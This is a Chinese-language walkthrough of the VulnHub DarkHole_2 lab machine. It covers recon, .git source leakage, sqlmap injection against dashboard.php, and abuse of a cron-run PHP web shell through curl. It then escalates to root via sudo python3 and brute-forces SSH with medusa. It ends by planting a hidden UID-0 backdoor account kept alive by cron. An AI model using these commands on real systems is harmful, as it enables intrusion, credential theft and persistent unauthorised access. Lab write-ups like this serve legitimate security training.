靶机练习-----VulnHub-DarkHole_2 靶机详细渗透过程
1. 靶机部署
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
得到六个文件,使用虚拟机导入DarkHole_2.ovf文件
导入成功,打开虚拟机,到此虚拟机部署完成!返回到kali。
注意---靶机和kali的网络连接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2. 信息收集
2.1 探测IP
使用nmap扫描同一个段下存活的IP
nmap 192.168.206.0/24
点击查看代码
┌──(root㉿kali201)-[~]
└─# nmap 192.168.206.0/24
扫描的结果我们可以看到
点击查看代码
Nmap scan report for 192.168.206.3
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:9E:13:0D (VMware)
查看网址
2.2 详细信息扫描
使用nmap对靶机开放的端口进行更详细的扫描:
nmap -A -T4 -p- 192.168.206.3
点击查看代码
┌──(root㉿kali201)-[~]
└─# nmap -A -T4 -p- 192.168.206.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 21:28 CST
Nmap scan report for 192.168.206.3
Host is up (0.00061s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
| http-git:
| 192.168.206.3:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: i changed login.php file for more secure
MAC Address: 00:0C:29:9E:13:0D (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 192.168.206.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
2.3 敏感目录
这里用的网站扫描工具是dirsearch,安装此工具
sudo apt-get install dirsearch
#安装此工具
dirsearch -u 192.168.206.3 -e *
扫描结果中我们发现有很多 .git 相关页面,我们应该考虑一个漏洞 git 源码泄露。
什么是git?
git 是一个版本控制工具,针对修改文件后进行的记录,方便后续历史记录的查找,你可以看到多个版本之间的差别。
当我们第一次运行.git工具时,它会自动在目录中生成个.git文件夹,里边有固定目录,记录着每个版本的差别和修改日期等相关信息。
2.4 指纹收集
whatweb -v 192.168.206.3
3.渗透过程
3.1 访问敏感目录
扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在
3.2 git泄露,使用git-dumper分析git文件
使用pip3安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
使用git-dumper下载git文件夹内容到backup文件夹:
git-dumper http://192.168.11.154/.git/ backup
切换到backup文件夹,查看日志
git log 命令:如果不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明。如果记录过多,则按Page Up、Page Down、↓、↑来控制显示;按q退出历史记录列表。
git log
查看日志
我们可以看到有三次提交,还有提交的哈希值,作者,时间等等,那么历史版本之间就有可能存在漏洞。
点击查看代码
┌──(root㉿kali201)-[/home/tools/backup]
└─# git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <[email protected]>
Date: Mon Aug 30 13:14:32 2021 +0300
i changed login.php file for more secure
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <[email protected]>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <[email protected]>
Date: Mon Aug 30 13:02:44 2021 +0300
First Initialize
git diff
使用git diff对比三次版本,可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试,得到了一组信息
[email protected] #用户名
321 #密码
登录网站,使用刚刚获取到的账号密码进行尝试,成功登录。
4. SQL注入漏洞
进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入漏洞,用sqlmap测试一下。
4.1 获取当前用户的Cookie
4.2 利用cookie进行sql注入,爆破当前数据库
使用 sqlmap 可以自动检测SQL漏洞,获取数据库信息。
sqlmap详解
https://blog.csdn.net/qq_45719090/article/details/129241110
以下是此次用到的参数信息:
-u 网站信息
--current-db 当前的数据库名
--dbs 查看数据库
--batch 遇到选项全选yes
--tables 数据库中的表
-D 对应的数据库库名
-T 对应的数据可表名
-C 对应的数据库字段名
--dump 导出数据库
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq --current-db
这样呢我们就得到了一个数据库名
4.3 获取数据库darkhole_2的表名
从上边得知 current database: "darkhole_2"
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 --tables --batch
得到两个表:
ssh
users
4.4 获取敏感信息
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 -T ssh -dump
获取到用户和密码
用户 jehad
密码 fool
4.5 知道ssh的用户名和密码之后,我们可以尝试ssh连接.
5. 提权
5.1 查看信息
id
查看权限
jehad@darkhole:~$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)
发现我们并不是0用户(root)
cat /etc/passwd
查看账号
点击查看代码
jehad@darkhole:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash
1000以内是系统内部账号,1000以外是用户账号。
发现4个账户,root,lama,jehad,losy
lsat
查看用户登录历史信息
点击查看代码
jehad@darkhole:~$ last
jehad pts/1 192.168.206.3 Mon Jul 8 15:38 still logged in
jehad pts/0 192.168.206.201 Mon Jul 8 15:18 still logged in
losy pts/3 192.168.206.3 Mon Jul 8 07:27 - 09:04 (01:37)
jehad pts/2 192.168.206.3 Mon Jul 8 07:19 - 09:04 (01:45)
jehad pts/1 192.168.206.3 Mon Jul 8 07:17 - 09:04 (01:47)
jehad pts/0 192.168.206.201 Mon Jul 8 07:08 - 09:04 (01:56)
reboot system boot 5.4.0-81-generic Mon Jul 8 03:39 still running
reboot system boot 5.4.0-81-generic Mon Jul 8 11:12 still running
lama tty1 Fri Sep 3 07:10 - crash (1039+04:01)
reboot system boot 5.4.0-81-generic Fri Sep 3 07:10 still running
jehad pts/0 192.168.135.128 Fri Sep 3 05:49 - crash (01:21)
lama tty1 Fri Sep 3 05:48 - crash (01:21)
reboot system boot 5.4.0-81-generic Fri Sep 3 05:48 still running
lama tty1 Fri Sep 3 05:01 - crash (00:47)
jehad pts/0 192.168.135.128 Fri Sep 3 05:00 - crash (00:47)
reboot system boot 5.4.0-81-generic Fri Sep 3 04:57 still running
lama tty1 Fri Sep 3 04:38 - down (00:18)
jehad pts/0 192.168.135.128 Fri Sep 3 04:33 - 04:57 (00:24)
reboot system boot 5.4.0-81-generic Fri Sep 3 04:29 - 04:57 (00:27)
reboot system boot 5.4.0-81-generic Fri Sep 3 04:21 - 04:57 (00:35)
lama tty1 Fri Sep 3 04:17 - down (00:03)
jehad pts/0 192.168.135.128 Fri Sep 3 04:16 - 04:21 (00:04)
reboot system boot 5.4.0-81-generic Fri Sep 3 04:15 - 04:21 (00:05)
losy pts/0 192.168.135.128 Fri Sep 3 04:09 - 04:15 (00:05)
lama tty1 Fri Sep 3 04:00 - down (00:15)
jehad pts/0 192.168.135.128 Fri Sep 3 03:58 - 04:09 (00:11)
reboot system boot 5.4.0-81-generic Fri Sep 3 03:57 - 04:15 (00:17)
jehad pts/2 192.168.135.129 Fri Sep 3 03:48 - 03:57 (00:08)
jehad pts/1 192.168.135.129 Fri Sep 3 03:45 - 03:57 (00:11)
lama tty1 Fri Sep 3 02:56 - down (01:01)
jehad pts/0 192.168.135.128 Fri Sep 3 02:50 - 03:57 (01:06)
reboot system boot 5.4.0-81-generic Fri Sep 3 02:48 - 03:57 (01:08)
jehad pts/0 192.168.135.128 Fri Sep 3 01:57 - 02:48 (00:50)
lama tty1 Fri Sep 3 01:54 - down (00:53)
reboot system boot 5.4.0-81-generic Fri Sep 3 01:53 - 02:48 (00:54)
lama tty2 Thu Sep 2 20:23 - crash (05:30)
jehad pts/0 192.168.135.128 Thu Sep 2 19:46 - crash (06:06)
losy pts/1 192.168.135.128 Thu Sep 2 17:34 - 17:35 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:33 - 17:34 (00:01)
losy pts/1 192.168.135.128 Thu Sep 2 17:29 - 17:29 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:25 - 17:26 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:24 - 17:24 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:19 - 17:19 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:19 - 17:19 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:19 - 17:19 (00:00)
losy pts/1 192.168.135.128 Thu Sep 2 17:14 - 17:14 (00:00)
jehad pts/0 192.168.135.128 Thu Sep 2 16:36 - 18:57 (02:20)
lama tty1 Thu Sep 2 15:54 - crash (09:59)
reboot system boot 5.4.0-81-generic Thu Sep 2 15:53 - 02:48 (10:55)
lama tty1 Thu Sep 2 15:31 - down (00:21)
reboot system boot 5.4.0-81-generic Thu Sep 2 15:31 - 15:53 (00:22)
lama tty1 Wed Sep 1 23:55 - crash (15:35)
reboot system boot 5.4.0-65-generic Thu Sep 2 02:28 - 15:53 (13:24)
wtmp begins Thu Sep 2 02:28:56 2021
sudo -l
列出当前用户可执行的命令
点击查看代码
jehad@darkhole:~$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.
cat .bash_history
#查看历史命令记录
发现本地有9999端口的服务.
systemctl list-units --type=service --state=running
#列出所有启动的系统服务
5.2 查看活动端口
netstat -lntp
#查看所有监听端口
点击查看代码
jehad@darkhole:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:9999 :::* LISTEN 35445/ssh
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
netstat -antp
#查看所有已经建立的连接
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
查看一下本地服务的内容
curl "http://127.0.0.1:9999/?cmd=id"
6. 计划任务提权
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
计划任务提权的基本思路:
第一种,我们可以观察是否存在高危险的命令和运行程序,看看是否能提权。
第二种,查看是否可以通过普通用户修改里边的内容,改为ROOT运行的程序。
6.1 查看定时任务
cat /etc/crontab
#查看定时任务
我们可以看到一条有疑信息
losy cd /opt/web && php -S localhost:9999
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。
vi /etc/crontab
#编辑文件
发现并不能修改
6.2 查看目录中信息
cd /opt/web
点击查看代码
jehad@darkhole:/$ cd /opt/web
jehad@darkhole:/opt/web$ ls -a
. .. index.php
jehad@darkhole:/opt/web$ cat index.php
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>
通过上一步我们发现/opt/web目录下会定时运行HTTP服务,查看该目录下的index,发现里面是一个命令执行代码。
又因为该页面运行的权限是losy用户,所以可以使用losy用户的权限,执行系统命令
echo "Parameter GET['cmd']"; #输出内容到页面
if(isset($_GET['cmd'])){ #判断是否存在cmd参数传递的值
echo system($_GET['cmd']); #执行传递过来的命令
7. 获取losy的权限
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。访问本地的9999端口,发现cmd命令传递了进来,并显示出来。
点击查看代码
jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999
Parameter GET['cmd']jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=whoami
Parameter GET['cmd']losy
查看历史记录,发现没有。去找家目录。
点击查看代码
jehad@darkhole:~$ curl http://127.0.0.1:9999?
Parameter GET['cmd']jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=history
Parameter GET['cmd']jehad@darkhole:~$ ls
jehad@darkhole:~$
去找家目录,然后通过系统命令访问,能看到历史记录。
curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。
点击查看代码
jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=id"
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:~$
由上边可以看到这个服务是 losy 用户的。
点击查看代码
jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=cat%20/home/losy/.bash_history
Parameter GET['cmd']clear
exit
clear
exit
clear
exit
clear
exit
clear
ls
ls -al
ls -la
clear
exit
clear
exit
clear
exit
clear
cd ~
ls
ls -la
pwd
ssh-keygen -t rsa -b 4096
clear
chmod 777 .ssh/
cd .ssh/
chmod 666 id_rsa
clear
ls -la
clear
cd ..
ls -la
rm .ssh/
rm -r .ssh/
clear
ls -la
ssh-kyegen
exit
clear
ls -la
cd /home/losy/
clear
ls -la
rm -r .ssh/
clear
ls -la
pwd
ssh-keygen -t rsa
ls -la
ssh-keygen -t rsa
clear
chmod 777 .ssh/
cd .ssh/
chmod 666 id_rsa
php -S localhost:9999
clear
sudo su
su lama
clear
ls -la
cat /etc/crontab
su lama
mkdir web
ls -la
su lama
ls
touch index.php
cd ..
ls
ls -la
sudo su
c
clear
su lama
clear
su lama
mysql -e '\! /bin/bash'
mysql -u root -p -e '\! /bin/bash'
P0assw0rd losy:gang
clear
sudo -l
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python -c 'import os; os.system("/bin/sh")'
sudo /usr/bint/python3 -c 'import os; os.system("/bin/sh")'
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
clear
cd ~
cat .bash_history
clear
id
clear
ls -al
cd home
cd /home
ls
clear
cd jehad/
ls -la
cd ..
cd losy/
cat .bash_history
clear
ls -la
ss
cat .bash_history
clear
password:gang
能看到密码信息: password:gang
登录用户losy,登录成功
8. 得到root账户
发现用户 losy 有 root身份 执行python3的权限,利用Python来提权。
点击查看代码
losy@darkhole:~$ sudo -l
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3
sudo /usr/bin/python3 -c 'import os;os.execl("/bin/sh","sh","-p")'
成功得到root!大功告成。
补充
1. 暴力破解 lama 用户密码
我们发现共有四个用户
其中一个为lama,可以采用暴力破解用户密码,
这里使用medusa工具,得到 lama 用户密码为123
sudo medusa -M ssh -h 192.168.206.3 -u lama -P /usr/mima.txt -t 10 -F
登录lama,成功登陆
sudo -l
sudo 是Linux系统管理指令,是系统管理员允许让普通用户执行一些root命令的工具。
su 是切换用户
我们可以看到有三个ALL,表示他有root的全部权限
第一个ALL,表示从允许从任何终端访问sudo
第二个ALL:ALL,表示sudo命令被允许任意用户,任意组执行
sudo id
发现为最高权限
点击查看代码
lama@darkhole:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
sudo bash
#使用系统管理员进入shell
bash 是许多Linux发行版默认的shell,类似于windows的CMD命令,使用bash就是启动一个Shell,从而执行操作系统,
sudo bash 就是使用系统管理员进入shell
我们也可以通过Python执行Bash命令,从而实现启动losy用户的shell。
点击查看代码
losy@darkhole:~$ python3
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
losy
0
>>> os.system("id")
uid=1002(losy) gid=1002(losy) groups=1002(losy)
0
>>> exit()\
...
losy@darkhole:~$
>>>
2. losy用户提权
使用用户losy拿到root权限,我们可以用以下命令
sudo python3
#管理员权限启动python3
import os
os.system("bash")
点击查看代码
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
root
0
>>> os.system("id")
uid=0(root) gid=0(root) groups=0(root)
0
>>> os.system("bash")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.206.3 netmask 255.255.255.0 broadcast 192.168.206.255
inet6 fe80::20c:29ff:fe9e:130d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:9e:13:0d txqueuelen 1000 (Ethernet)
RX packets 441241 bytes 311819728 (311.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 258619 bytes 36249989 (36.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8450 bytes 752185 (752.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8450 bytes 752185 (752.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
此刻做一个总结:
jehad 没有sudo权限
losy 可以使用sudo执行python命令
lama 可以使用sudo执行任意命令
3. 留后门,以 losy 用户为例,特权创建账号,如此可以可以偷偷随时进入系统拜访。
在 linux 系统中,存在两个文件
/etc/passwd #存放用户名,任何权限用户都能查看
点击查看代码
losy@darkhole:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash
/etc/shadow #存放加密后的密码,且只能用 root 账户查看
格式如下:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
losy@darkhole:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
点击查看代码
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> cat /etc/passwd
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>>
>>> import os
>>>
>>> os.system("cat /etc/passwd")
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bash
0
>>>
创建 ocean 特权用户
点击查看代码
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> cat /etc/passwd
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>>
>>> import os
>>> os.system("useradd -p `openssl passwd -1 -salt 'salt' 123456` ocean -o -u 0 -g root -G root -s /bin/bash -d /home/ocean")
点击查看代码
ocean:x:0:0::/home/ocean:/bin/bash
创建成功,登录ocean用户
发现ssh [email protected] 登录不了
点击查看代码
┌──(root㉿kali201)-[/usr]
└─# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
但是可以在其他用户中切换为 ocean 用户
可以看到,ocean 用户默认显示为了 root。
点击查看代码
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> os.system("su ocean")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/losy#
如何害怕 ocean 用户发现被删,可以将此命令写入计划任务中,可以定时去执行这条命令。